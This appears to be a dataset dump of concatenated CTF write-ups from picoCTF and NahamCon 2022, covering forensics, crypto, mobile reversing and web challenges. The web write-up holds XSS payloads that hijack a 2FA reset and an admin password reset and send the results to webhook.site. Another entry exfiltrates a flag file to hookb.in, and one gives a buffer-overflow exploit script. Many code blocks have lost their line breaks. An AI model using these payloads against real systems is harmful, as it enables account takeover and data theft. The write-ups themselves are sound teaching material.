text_chunk
stringlengths 151
703k
|
---|
# picoCTF 2022 Eavesdrop (Forensics 300 points)The challenge is the following,

We are also given the file [capture.flag.pcap](./files/capture.flag.pcap). Opening this up on Wireshark showed the following,

I did `Follow TCP stream`, which revealed a conversation between two people.

It seemed like these two people had been exchanging files, and one person forgot how to decrypt it, so the other person tells them to decrypt it using,
`openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123`
I looked through the packets, and found the file that started with `Salted` in packet 57. I knew this was the file I was looking for, because OpenSSL with des3 salt will generate an encrypted file that starts with `Salted`.

So I exported the packet as `saltedfile.bin` using `File > Export Packet Bytes`

I decrypted it using what was mentioned in the conversation,
`openssl des3 -d -salt -in saltedfile.bin -out file.txt -k supersecretpassword123`
After decryption succeeded, I was left with `file.txt` that contained the flag.

Therefore, the flag is,
`picoCTF{nc_73115_411_445e5629}`
|
The challenge description is pretty self explanatory, here's the python script
```pythonimport stringalfabeto = string.ascii_lowercasealfabeto += "0123456789_"
flag_enc = [202,137,390,235,114,369,198,110,350,396,390,383,225,258,38,291,75,324,401,142,288,397]flag = ""for c in flag_enc: pos = c % 37 flag += alfabeto[pos]
print(flag)```**flag: picoCTF{r0und_n_r0und_b6b25531}** |
# SequencesHere is the chalenge code and description```Description
I wrote this linear recurrence function, can you figure out how to make it run fast enough and get the flag?Download the code here https://artifacts.picoctf.net/c/507/sequences.py. Note that even an efficient solution might take several seconds to run. If your solution is taking several minutes, then you may need to reconsider your approach.```
The code```pyimport mathimport hashlibimport sysfrom tqdm import tqdmimport functools
ITERS = int(2e7)VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe2d6046e248ff7962b")
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)@functools.cachedef m_func(i): if i == 0: return 1 if i == 1: return 2 if i == 2: return 3 if i == 3: return 4
return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
# Decrypt the flagdef decrypt_flag(sol): sol = sol % (10**10000) sol = str(sol) sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY: print("Incorrect solution") sys.exit(1)
key = hashlib.sha256(sol.encode()).digest() flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
if __name__ == "__main__": sol = m_func(ITERS) decrypt_flag(sol)```
# Code AnalysisAs we see there is a recursive function that for every step it uses its 4 previous steps.\And from the comment, it will overflow the stack because the input 20000000 is too large.```# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)``````py~/CTF/picoctf2022/Crypto/Sequences python3.9 sequences.pyTraceback (most recent call last): File "/home/kourosh/CTF/picoctf2022/Crypto/Sequences/sequences.py", line 38, in <module> sol = m_func(ITERS) File "/home/kourosh/CTF/picoctf2022/Crypto/Sequences/sequences.py", line 19, in m_func return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1) File "/home/kourosh/CTF/picoctf2022/Crypto/Sequences/sequences.py", line 19, in m_func return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1) File "/home/kourosh/CTF/picoctf2022/Crypto/Sequences/sequences.py", line 19, in m_func return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1) [Previous line repeated 496 more times]RecursionError: maximum recursion depth exceeded```
So we need to optimize the recursive function to find the `m_func(20000000)`.
# Failed solution triesThe first approach I chose to optimize the function was dynamic programming\According to [this link](https://www.educative.io/courses/grokking-dynamic-programming-patterns-for-coding-interviews/m2G1pAq0OO0), There are two methods to implement it.## Top-down with MemoizationThis method is used for optimizing recursive functions to avoid duplicate functions calls.\In this approach, we try to solve the bigger problem by recursively finding the solution to smaller sub-problems. Whenever we solve a sub-problem, we cache its result so that we don’t end up solving it repeatedly if it’s called multiple times. Instead, we can just return the saved result. This technique of storing the results of already solved subproblems is called **Memoization**.[1](https://www.educative.io/courses/grokking-dynamic-programming-patterns-for-coding-interviews/m2G1pAq0OO0#Top-down-with-Memoization)But just storing values and starting from `20000000` won't e enough because before reaching `m_func(0), m_func(1), m_func(2), m_func(3)` the stack will overflow and exit the program.\So I started from m_func(4) and increasing i inside m_func(i) for each level and store the returned value f(4)=x, f(5)=y, .... But because of massive increments in return values for higher inputs 100,1000,... the amount of RAM to handle this memoization program will be huge and we’re not capable of doing that(I also tried storing values on the hard drive and starting the program again but it was too slow)
Here is the example code is used for memoization but it failed because of slow speed and a large amount of ram it needed for storing values(storing on hard disk also didn’t work because of low speed on higher values)```pyimport functools
ITERS = int(2e7)VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe2d6046e248ff7962b")
values = { "0": 1, "1": 2, "2": 3, "3": 4}
@functools.cachedef m_func(i): i = int(i) if str(i) in values: return values[str(i)] return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
# ITERS = 20000000for i in range(4, 5): result = m_func(str(i)) values[str(i)] = result
prinfor k in values: print(values)```
## Bottom-up with TabulationTabulation is the opposite of the top-down approach and avoids recursion. In this approach, we solve the problem “bottom-up” (i.e. by solving all the related sub-problems first). This is typically done by filling up an n-dimensional table. Based on the results in the table, the solution to the top/original problem is then computed.[2](https://www.educative.io/courses/grokking-dynamic-programming-patterns-for-coding-interviews/m2G1pAq0OO0#Bottom-up-with-Tabulation)I also tried Tabulation which starts from 0 and solves and calculates lower values without recursively calling the function and going upwards. This method solved the RAM problem but it was also very slow which I ran it for about 48 hours and it didn’t reach 20000000 which is our needed value so this method failed too.
Here is the example code I used for Tabulation.This method will reach the solution and also it fixed RAM and stack problem, but it will take too long.```pyimport functoolsfrom collections import deque
ITERS = int(2e7)VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe2d6046e248ff7962b")
values = deque([1,2,3,4])
@functools.cachedef m_func(i):
for _ in range(4, i+1): values[0] = 55692*values[0] - 9549*values[1] + 301*values[2] + 21*values[3] values.rotate(-1)
print(values[3])
# ITERS = 20000000result = m_func(ITERS)```
# Main and Optimum SolutionAfter a couple of days of failing, I heard from a friend that there are ways to solve recursive functions by generating functions of sequences. I searched and studied a lot about them and found some useful resources.[Generating functions](https://en.wikipedia.org/wiki/Generating_function): In [mathematics](https://en.wikipedia.org/wiki/Mathematics "Mathematics"), a **generating function** is a way of encoding an [infinite sequence](https://en.wikipedia.org/wiki/Infinite_sequence "Infinite sequence") of numbers (`an`) by treating them as the [coefficients](https://en.wikipedia.org/wiki/Coefficient "Coefficient") of a [formal power series](https://en.wikipedia.org/wiki/Formal_power_series "Formal power series"). This series is called the generating function of the sequence.By generating functions we can calculate the coefficient of a specific element of sequence `an` which is actually `f(n)`.Actually we have linear recurrence function and after further studies I realized that we can also solve these functions with generating functions and find `f(20000000)` which is what we wantI used the wolfram engine for Linux to find the generating function of this recurrence equation.Here is the generating function of our linear recurrence function:```bashkourosh@irvm-69871:~/ctf/1$ wolframscript Wolfram Language 13.0.1 Engine for Linux x86 (64-bit)Copyright 1988-2022 Wolfram Research, Inc.
In[1]:= FindGeneratingFunction[{1,2,3,4,37581,873142,29776743,529489144,13837399761,214250532682,5266553049483}, x]
2 3 -1 + 19 x + 340 x - 8888 xOut[1]= --------------------------------------- 2 3 4 -1 + 21 x + 301 x - 9549 x + 55692 x
```
And here is the commands I used for specific sequence(for example n=12 which is actually `m_func(12)`)```bashIn[3]:= SeriesCoefficient[%, 12]
Out[3]= 1831268671595541
In[4]:= ```
We can also use this command for example `m_func(20)` which is 20's coefficient of the sequences```bashIn[4]:= SeriesCoefficient[(-1 + 19*x + 340*x^2 - 8888*x^3)/(-1 + 21*x + 301*x^2 - 9549*x^3 + 55692*x^4), {x, 0, 20}]
Out[4]= 23654235486457205901623901```
Ok we found a way to automate the direct calculation of the coefficient of sequences.\Now we need to find the 20000000 sequences from the above generating function with this command```bashIn[4]:= SeriesCoefficient[(-1 + 19*x + 340*x^2 - 8888*x^3)/(-1 + 21*x + 301*x^2 - 9549*x^3 + 55692*x^4), {x, 0, 20000000}]```But this also needs a lot of RAM space and it failed again\So I continued my studies again and I found a solution to directly extract the function which calculates the `nth` sequence of the linear recurrence function (`an`)\This function will produce the nth sequence directly without looping. for example:```T(n) = 2*T(n-1) + 1The direct function of n will bef(n) = 2**n - 1 (Easy Huh?! But how to extract this function)```
To solve these linear recurrence functions you can study this [PDF](https://www.math.cmu.edu/~af1p/Teaching/Combinatorics/Slides/Generating-Functions.pdf)\But fortunately, wolfram has automated linear recurrence function solving platform which will extract this function [automatically](https://www.wolframalpha.com/input?i=f%28n%29%3D55692*f%28n-4%29-9549*f%28n-3%29%2B301*f%28n-2%29%2B21*f%28n-1%29%2C+f%281%29%3D1%2C+f%282%29%3D2%2C+f%283%29%3D3%2C+f%284%29%3D4)\And here is the direct solution to our linear recurrence function:``` (-20956*(-21)**n) + 2792335*2**(2*n + 3)*(3**n) - (22739409*13**n) + (2279277*17**n)f(n) = ______________________________________________________________________________________ 11639628```
And here is the refined function with a direct solution:```pyimport hashlibimport sys
ITERS = int(2e7)VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe2d6046e248ff7962b")
def decrypt_flag(sol): sol = sol % (10**10000) sol = str(sol) sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY: print("Incorrect solution") sys.exit(1)
key = hashlib.sha256(sol.encode()).digest() flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
def n_seq(n): result = ((-20956*(-21)**n) + 2792335*2**(2*n + 3)*(3**n) - (22739409*13**n) + (2279277*17**n))//11639628 return result
sol = n_seq(ITERS+1)decrypt_flag(sol)```
After running the code and waiting for a bit (because of big number calculations) we found the correct solution and decrypted the flag. yay!```bashkourosh@irvm-69871:~/ctf/1$ python3.9 solve.pypicoCTF{b1g_numb3rs_689693c6}```
And here is the flag:```picoCTF{b1g_numb3rs_689693c6}```
[solution code](https://github.com/KooroshRZ/CTF-Writeups/blob/main/PicoCTF2022/Cryptography/Sequences/solve.py)> KouroshRZ for **Evento** |
アクセスするたびに1文字ずつ`~`,`0`,`1`のいずれかが表示されます.何度もアクセスしてみます.
```pyimport requests
url = "http://173.230.134.127/"
while True: res = requests.get(url) print(res.text, end="") url = res.url```
```txt~1100011011001011010001101010110010010001111011010011011110100011011000100111011010101100001101011111011001001010110001101100001000101011001110100011101101110110001100001010101011001110100101101000110001011011011010010110100011000111101101101001001110011000011110011101111010111101~1100011011001011010001101010110010010001111011010011011110100011011000100111011010101100001101011111011001001010110001101100001000101011001110100011101101110110001100001010101011001110100101101000110001011011011010010110100011000111101101101001001110011000011110011101111010111101~1100011011001011010001101010110010010001111011010011011110100011011000100111011010101100001101011111011001001010110001101100001000101011001110100011101101110110001100001010101011001110100101101000110001011011011010010110100011000111101101101001001110011000011110011101111010111101~1100011011001```
`~`を区切り文字して`1100011011001011010001101010110010010001111011010011011110100011011000100111011010101100001101011111011001001010110001101100001000101011001110100011101101110110001100001010101011001110100101101000110001011011011010010110100011000111101101101001001110011000011110011101111010111101`が何度も繰り返されています.
これを**7ビットごとに**区切ってSSCIIに変換します
[cybershef](https://gchq.github.io/CyberChef/#recipe=From_Binary('Space',7)From_Base64('A-Za-z0-9%2B/%3D',true)&input=MTEwMDAxMTAxMTAwMTAxMTAxMDAwMTEwMTAxMDExMDAxMDAxMDAwMTExMTAxMTAxMDAxMTAxMTExMDEwMDAxMTAxMTAwMDEwMDExMTAxMTAxMDEwMTEwMDAwMTEwMTAxMTExMTAxMTAwMTAwMTAxMDExMDAwMTEwMTEwMDAwMTAwMDEwMTAxMTAwMTExMDEwMDAxMTEwMTEwMTExMDExMDAwMTEwMDAwMTAxMDEwMTAxMTAwMTExMDEwMDEwMTEwMTAwMDExMDAwMTAxMTAxMTAxMTAxMDAxMDExMDEwMDAxMTAwMDExMTEwMTEwMTEwMTAwMTAwMTExMDAxMTAwMDAxMTExMDAxMTEwMTExMTAxMDExMTEwMQ)
`shctf{AsciiIsA7BitStandard}` |
問題として配布されるプログラムファイルは [cpu.py](./cpu.py) であるが変数名が分かりにくかったため、[cpu_patched.py](./cpu_patched.py)のように変数名を分かりやすいように変更した。(変数名の意味が正しいかは保証しない。)
プログラムを読むと、`flag.txt`の中身を見るためには以下の2つの条件を満たした上で`magic`命令を呼び出すことが必要である1. cpuのreset counterを2にする(161行目)2. registerのr0, r1, r2, r3に129行目で生成されている乱数値を設定する(162行目)
条件1を満たすためには、`reset`命令を呼び出せば良い。(138行目)
条件2を満たすためには、初回起動(run)時に乱数値がmemory[0:4]に保存されているので、memory[0:4]の内容をr0~r3に保存すればよい。
ここで問題となるのは、条件1を満たすためにreset命令を呼び出すとregisterの値、memoryの値、cacheに保存されている値、instruction counterを初期化してしまうということである。
条件2を満たすためにどこかに乱数値の情報を保存しておきたいが、条件1を満たすためにreset命令を呼び出すとregisterの値とmemoryの値とcacheに保存されている値が初期化されてしまうので乱数値の情報を保存することができない。
これでは条件1と条件2を同時に満たすことができないのではないかと思ってしまうが、reset命令の処理内容をしっかり読んでみるとcacheの初期化の部分で、`cacheの値は0で初期化をするがcacheのindex値は初期化を行っていない`という問題があることに気がつく。(137行目)
この問題点を利用すると、`乱数値をcacheのindex値情報として保存した状態でreset命令を呼び出し、cacheのindex値から乱数値を復元する`ことで条件1と条件2と満たすことができる。
以下の疑似コードのような処理をアセンブリ命令として書き直したのが[答え](./poc.txt)である。magic命令実行後はregisterにflagの値が整数値として保存されているので文字列に変換すれば良い。
```if(memory[0] != 0){ // 一度resetされているか // 乱数値をcacheのindex情報として保存 for(int i=0;i<4;i++){ int t = memory[i]; for(int j=0;j<32;j++){ if(t&(1< |
# NahamCon CTF 2022 - Two For Onecategory: Web - Hard
## solution
at the first page there is a login and signup page

in the signup page we must get the google auth token cuz we need it for login and other stuffs.after login we could see that we are able to create secrets

but the goal is not creating notes, we have to somehow read admin notesso we will go to settings
in settings we could see Feedback part which after some fuzzing we found it's vulnerable to blind xss

but there are two more part in settings
## reset passwordand## reset 2FA
we found there is no csrf for reset password and reset 2FA, but reset password need to confirming 2FA. so first of all we have to somehow hijack the google authentication token.
we could reset google auth with POST request to this endpoint ```/reset2fa```
I wrote below payload to hijack the result of ```/reset2fa``` and send it to our webhook
```js<script> xhr = new XMLHttpRequest(); xhr.open('POST', 'http://challenge.nahamcon.com:31170/reset2fa', false); xhr.send(); document.location='https://webhook.site/x4xx4-xxx-xxx-xxxx-xxxx?otp='+xhr.response;</script>```## result 
now we have secret token. we should convert it to QR code
got it and scaned with my phone, now I have the google auth
the next step is reseting admin password.
I wrote below payload to reset admin password
```js<script> xhr = new XMLHttpRequest(); xhr.open('POST', 'http://challenge.nahamcon.com:31170/reset_password', false); xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send(JSON.stringify({"otp":"068728","password":"a","password2":"a"})); document.location='https://webhook.site/3xxx4-xxxx-xxxxxx-xxxxx-xxxxx?res='+xhr.response;</script>```
and got ```{"success":true}``` in my webhook response.
now I can login with admin creds which it's username is ```admin``` and password is ```a``` (what we changed) and the google auth.
logged in and we are able to read the flag from admin's secrets

Really interesting challnege . thanks @congon4tor#2334
|
このような入力が1200個与えられます`[1267.56, 1130.04, 2588.27, 3338.14, 236.17, 11320.41, 2363.41, 531.25, 1136.72, 1690.02] Romulan Light Fighter`
最終的にこのような数が`Romulan`なのか`Klingons`なのか`Starfleet`なのか当てます.`Starfleet`の時は船を攻撃してはいけないので`N`を,それ以外の時は`Y`を出力します.
`[1250.23, 2817.63, 1820.81, 60.23, 492.89, 44.86, 2013.35, 48.02, 765.08, 6591.08]`
私はまずintelligence reportsからgrepして数列を探索しましたが,そのようなものは存在しませんでした.しかし,intelligence reportsをよく見ると規則性がありそうです.例えば,この辺りを見てみます(一部編集しています)
```txt[35.05,1941.88,4287.8,2902.9,184.9,2917.93,338.47,2367.21,732.21,4272.74] Klingon[35.57,2209.72,3959.27,3023.05,134.17,3388.35,880.13,2647.26,460.87,2831.3] Klingon[35.02,2417.65,1156.22,3055.21,146.49,3348.8,520.05,3973.01,913.65,2746.14] Klingon[35.13,1575.59,772.11,2883.36,136.16,3894.96,762.43,5266.27,157.02,4019.84] Klingon[35.32,1770.4,1833.5,4252.28,141.68,2294.74,967.64,2061.43,119.84,5691.19] Klingon[35.01,1556.79,817.6,2872.76,145.95,3523.56,512.55,4362.45,822.15,5423.58] Klingon[35.21,1457.47,1882.9,3831.39,154.28,3150.99,646.55,2969.09,276.35,3330.41] Klingon[35.45,1471.34,4342.47,4768.3,138.08,3532.35,765.62,2374.26,993.36,4643.89] Klingon[35.18,1790.57,3906.92,4013.17,177.81,2794.02,297.51,2653.02,338.13,4948.36] Klingon[35.32,1239.93,741.28,3029.71,135.18,2471.76,621.28,3402.43,861.54,5827.88] Klingon```
Klingonの船の先頭は35が非常に多く見えます.そこで,この問題は数列から特徴量を抽出し,どの船か判別する**機械学習の問題**だと判断しました.私はSVMを使用しました.
```pyfrom pwn import *import numpy as npfrom sklearn.pipeline import make_pipelinefrom sklearn.preprocessing import StandardScalerfrom sklearn.svm import SVC
clf = make_pipeline(StandardScaler(), SVC(gamma="auto"))
io = remote("0.cloud.chals.io", 29511)
X = []y = []
while True: line = str(io.recvline())[2:-3] if line == "=" * 112: break if line[0] == "=": continue print(line) line = line.split("]") ships = line[0] country = line[1][1:].split(" ")[0] ships = eval(ships + "]") X.append(ships) if country == "Romulan": y.append(0) elif country == "Klingon" or country == "Klington": y.append(1) elif country == "Starfleet": y.append(2)
X = np.array(X)y = np.array(y)
clf.fit(X, y)
while True: line = str(io.recvline())[2:-3] print(line) if line[:9] == "Congrats!": continue if line[:20] != "A ship approaches: ": continue line = eval(line[20:]) _ = str(io.recv())[2:-1] payload = "N" res = clf.predict([line]) if res[0] != 2: payload = "Y" print("fire ->", payload) io.send(payload + "\n")```
実行してから数秒後,フラグが得られました.
`Congrats, the war is over: shctf{F3Ar-1s-t4E-true-eN3my.-Th3-0nly-en3my}`
`shctf{F3Ar-1s-t4E-true-eN3my.-Th3-0nly-en3my}` |
# Mobilize - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Mobile, 50 Points
## Description
 ## Mobilize Solution
Let's install the [mobilize.apk](./mobilize.apk) on [Genymotion Android emulator](https://www.genymotion.com/):

Nothing interesting on the application.
By searching for the flag pattern (We can decompile it using [jadx](https://github.com/skylot/jadx))we found it on ```strings.xml```:

And we get the flag ```flag{e2e7fd4a43e93ea679d38561fa982682}```. |
# OTP Vault - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Mobile, 402 Points
## Description
 ## OTP Vault Solution
Let's install the [OTPVault.apk](./OTPVault.apk) on [Genymotion Android emulator](https://www.genymotion.com/):

If we are trying to insert an invalid OTP we get the message "Invalid OTP":

By decompiling the application using [jadx](https://github.com/skylot/jadx)) we can see it's build using [ReactJS](https://reactjs.org/).
To decompile it we need to extract the ```index.android.bundle``` file from the ```apk``` file.
First let's decompile the application using [apktool](https://ibotpeaches.github.io/Apktool/):```console┌─[evyatar@parrot]─[/mobile/otp_vault]└──╼ $ apktool d OTPVault.apkI: Using Apktool 2.5.0-dirty on OTPVault.apkI: Loading resource table...I: Decoding AndroidManifest.xml with resources...I: Loading resource table from file: /home/evyatar/.local/share/apktool/framework/1.apkI: Regular manifest package...I: Decoding file-resources...I: Decoding values */* XMLs...I: Baksmaling classes.dex...I: Copying assets and libs...I: Copying unknown files...I: Copying original files... ```
The file locate on ```OTPVault/assets/```:```console┌─[evyatar@parrot]─[/mobile/otp_vault/]└──╼ $ cp OTPVault/assets/index.android.bundle .```
Next, Let's decompile the file ```index.android.bundle``` using [https://github.com/nomi9995/react-native-decompiler](https://github.com/nomi9995/react-native-decompiler):```console┌─[evyatar@parrot]─[/mobile/otp_vault/]└──╼ $ npx react-native-decompiler -i ./index.android.bundle -o ./outputReading file...Parsing JS...Finding modules...Took 2401.436999000609msPre-parsing modules... ████████████████████████████████████████ 100% | ETA: 0s | 430/430Took 1312.295910000801msTagging... ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0% | ETA: 22s | 1/430Took 51.46273799985647msFiltering out modules only depended on ignored modules...42 remain to be decompiledTook 151.97934100031853msDecompiling... █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 2% | ETA: 12s | 1/42Took 274.45974899828434msGenerating code... ████████████████████████████████████████ 100% | ETA: 0s | 42/42Took 990.1041969954967msSaving... ████████████████████████████████████████ 100% | ETA: 0s | 42/42Writing to cache...Took 473.6084560006857msDone!```
By navigating to ```output``` directory we can see the following sources:```console┌─[evyatar@parrot]─[/mobile/otp_vault/output]└──╼ $ ls0.js 11.js 13.js 15.js 397.js 400.js 402.js 404.js 406.js 408.js 410.js 412.js 414.js 416.js 418.js 420.js 422.js 424.js 426.js 428.js 7.js null.cache10.js 12.js 14.js 396.js 398.js 401.js 403.js 405.js 407.js 409.js 411.js 413.js 415.js 417.js 419.js 421.js 423.js 425.js 427.js 429.js 8.js```
Let's search for "Invalid OTP":```console┌─[evyatar@parrot]─[/mobile/otp_vault/output]└──╼ $ grep -r "Invalid OTP" . | less./396.js: output: 'Invalid OTP',./null.cache:{"inputChecksum":["acf388bdead56a3a78306...```
As we can see we found it on [./396.js](./396) file.
Let's observe on the function ```O``` from this file:```javascriptfunction O() { var n; module7.default(this, O); (n = b.call(this, ...args)).state = { output: 'Insert your OTP to unlock your vault', text: '', }; n.s = 'JJ2XG5CIMFRWW2LOM4'; n.url = 'http://congon4tor.com:7777'; n.token = '652W8NxdsHFTorqLXgo=';
n.getFlag = function () { var module7, o; return regeneratorRuntime.default.async( function (u) { for (;;) switch ((u.prev = u.next)) { case 0: u.prev = 0; module7 = { headers: { Authorization: 'Bearer KMGQ0YTYgIMTk5Mjc2NzZY4OMjJlNzAC0WU2DgiYzE41ZDwN', }, }; u.next = 4; return regeneratorRuntime.default.awrap(module400.default.get(n.url + '/flag', module7));
case 4: o = u.sent; n.setState({ output: o.data.flag, }); u.next = 12; break;
case 8: u.prev = 8; u.t0 = u.catch(0); console.log(u.t0); n.setState({ output: 'An error occurred getting the flag', });
case 12: case 'end': return u.stop(); } }, null, null, [[0, 8]], Promise ); };
n.onChangeText = function (t) { n.setState({ text: t, }); };
n.onPress = function () { var t = module397.default(n.s); console.log(t); if (t === n.state.text) n.getFlag(); else n.setState({ output: 'Invalid OTP', }); };
return n; }```
As we can see, ```onPress``` event checks if the input value equals to the return value from ```module397.default(n.s)```.
We can try to understand the ```module397.default(n.s)``` function to know what is the OTP but we can get the flag by following the code on ```n.getFlag``` function.
According to the function, we can send the following HTTP POST request to [http://congon4tor.com:7777](http://congon4tor.com:7777) to get the flag:```HTTPGET /flag HTTP/1.1Host: congon4tor.comAuthorization: Bearer KMGQ0YTYgIMTk5Mjc2NzZY4OMjJlNzAC0WU2DgiYzE41ZDwN
```
And we get the flag on the response:```HTTPHTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Sat, 30 Apr 2022 19:55:48 GMTContent-Type: application/jsonContent-Length: 50Connection: keep-aliveAccess-Control-Allow-Origin: *
{"flag":"flag{5450384e093a0444e6d3d39795dd7ddd}"}```
And we get the flag ```flag{5450384e093a0444e6d3d39795dd7ddd}```. |
https://www.youtube.com/watch?v=17SYQieisMA&t=606s
"almond force" RSA python script:
plug your n into http://factordb.com/ to find p and q
```c = 964354128913912393938480857590969826308054462950561875638492039363373779803642185n = 1584586296183412107468474423529992275940096154074798537916936609523894209759157543e = 65537p = 2434792384523484381583634042478415057961q = 650809615742055581459820253356987396346063t = (p - 1) * (q - 1)
d = pow(e, -1, t)
p = pow(c, d, n)
'''print(p)'''print(bytearray.fromhex(hex(p)[2:]).decode('ascii'))
``` |
We have a .img file , the first thing i did was to mount it.
```shell┌──(kali㉿kali)-[~]└─$ fdisk -l disk.flag.imgDisk disk.flag.img: 400 MiB, 419430400 bytes, 819200 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0xb11a86e3
Device Boot Start End Sectors Size Id Typedisk.flag.img1 * 2048 206847 204800 100M 83 Linuxdisk.flag.img2 206848 411647 204800 100M 82 Linux swap / Solarisdisk.flag.img3 411648 819199 407552 199M 83 Linux ┌──(kali㉿kali)-[~]└─$ sudo mount -o loop,offset=210763776 disk.flag.img /mnt/```Then i entered the root folder and saw the files inside.
```shell┌──(root㉿kali)-[/mnt/root]└─# ls -latotal 4drwx------ 2 root root 1024 Oct 6 14:32 .drwxr-xr-x 22 root root 1024 Oct 6 14:30 ..-rw------- 1 root root 202 Oct 6 14:33 .ash_history-rw-r--r-- 1 root root 64 Oct 6 14:32 flag.txt.enc```I saw the insides of .ash_history
```shell┌──(root㉿kali)-[/mnt/root]└─# cat .ash_history touch flag.txtnano flag.txt apk get nanoapk --helpapk add nanonano flag.txt opensslopenssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567shred -u flag.txtls -alhalt```As we can see the flag is encrypted using ssl, we need to decrypt it.```shell┌──(root㉿kali)-[/mnt/root]└─# cat flag.txt.enc Salted__O金�Oez�2>@����SSgk(r�]}�}�f�z�Ȥ7� ���؎$�'% ┌──(root㉿kali)-[/mnt/root]└─# openssl aes256 -d -salt -in flag.txt.enc -out flag -k unbreakablepassword1234567 *** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.bad decrypt140015604639104:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610: ┌──(root㉿kali)-[/mnt/root]└─# ls flag flag.txt.enc ┌──(root㉿kali)-[/mnt/root]└─# cat flag picoCTF{h4un71ng_p457_5113beab}```
|
This challenge was very similar to LOLD2, but this time the flag was locate somewhere else, not in the directory where the script was running from.I have to first locate where the flag was by using the find command
`find / -type f -name 'flag.txt' 2>/dev/null`
Two results came back```/opt/is/flag/for/me/flag.txt/opt/challenge/flag.txt```
I used the first result '**/opt/is/flag/for/me/flag.txt**' and the flag was in there.
**import** **os** - was used so that I can send system command.
**import** **urllib2** - was used so that I can make web requests to a website like '**hookbin**' where I can monitor all incoming requests, basically I was exfiltration base64 encoded data to a hookbin website. I was able to then review the data and decode it using **Cyberchef**.
**import** **base64** - was used to encode text so that I can make clean web requests.
```GIMME osGIMME urllib2GIMME base64
cmd CAN HAS 'cat /opt/is/flag/for/me/flag.txt > out.txt'
os OWN system WIT cmd!
RF CAN HAS open WIT 'out.txt'!RR CAN HAS RF OWN read THING
MB CAN HAS RR OWN encode WIT 'ascii'!B64 CAN HAS base64 OWN b64encode WIT MB!
urllib2 OWN urlopen WIT 'https://hookb.in/QJ2NJ3NNaOC8mNzzlM08?flag=' ALONG WITH B64!``` |
# Escrime
## Challenge
We have 2 files: [escrime.py](escrime.py) and [out.txt](out.txt). The flag was split in half and each part was encrypted with different RSA key.
## Solution
> I didn't solve this challenge during the CTF.
Analyzing the given code, one can find that both RSA keys share a common prime512. And that primes have been chosen in this form:
After simple transformations one has:
So both n have prime512 as a common divisor. We can calculate it by geting 512-bit prime factor of `gcd`:
```python3dividors = factor( gcd(n1-1,n2-1))prime512 = next(filter(lambda v, p: len(bin(v)[2:]) == 512))```
Going further:
as sum of primes is an even number, so we can divide it by 2
Now we should count bits. Known value (left side) has 1023 bits, prime512 has 512 bits. and should have 256 bits, sum will have 257, division by 2 gives us 256 bits again. So is a lot smaller than prime512. It can be skiped as the rest of division by prime512. We are here for integral values, after all:
Do we have to calculate further? To decrypt the flag, we need to find di. To find di, we need to have fii. And what is fii?
And we already have.
[Solution code](sol.py) |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/b01lers22/pwn/veryfastvm/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/b01lers22/pwn/veryfastvm/README.md) |
```pythonfrom pwn import *
elf = ELF("./babier")
offset = 120
#p = elf.process()
p = remote("challenge.nahamcon.com", 31842)
p.recvuntil(b"scanf?\n")
payload = b'A'*120payload += p64(elf.symbols['win'])
p.sendline(payload)p.interactive()``` |
# Click Me - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Mobile, 485 Points
## Description
 ## Click Me Solution
Let's install the [click_me.apk](./click_me.apk) on [Genymotion Android emulator](https://www.genymotion.com/):

If we are trying to click on ```Get Flag``` we get:

By decompiling the application using [jadx](https://github.com/skylot/jadx)) we can see the following methods on ```MainActivity``` class:```javapublic final void cookieViewClick(View view) { int i = this.CLICKS + 1; this.CLICKS = i; if (i >= 13371337) { this.CLICKS = 13371337; } ((TextView) findViewById(R.id.cookieCount)).setText(String.valueOf(this.CLICKS));}
public final void getFlagButtonClick(View view) { Intrinsics.checkNotNullParameter(view, "view"); if (this.CLICKS == 99999999) { Toast.makeText(getApplicationContext(), getFlag(), 0).show(); return; } Toast.makeText(getApplicationContext(), "You do not have enough cookies to get the flag", 0).show();}```
As we can see, ```this.CLICKS``` value should be ```99999999``` but it isn't possible according to the code on ```cookieViewClick```.
We can change the value of ```this.CLICKS``` in ```getFlagButtonClick``` function using [frida](https://frida.re/).
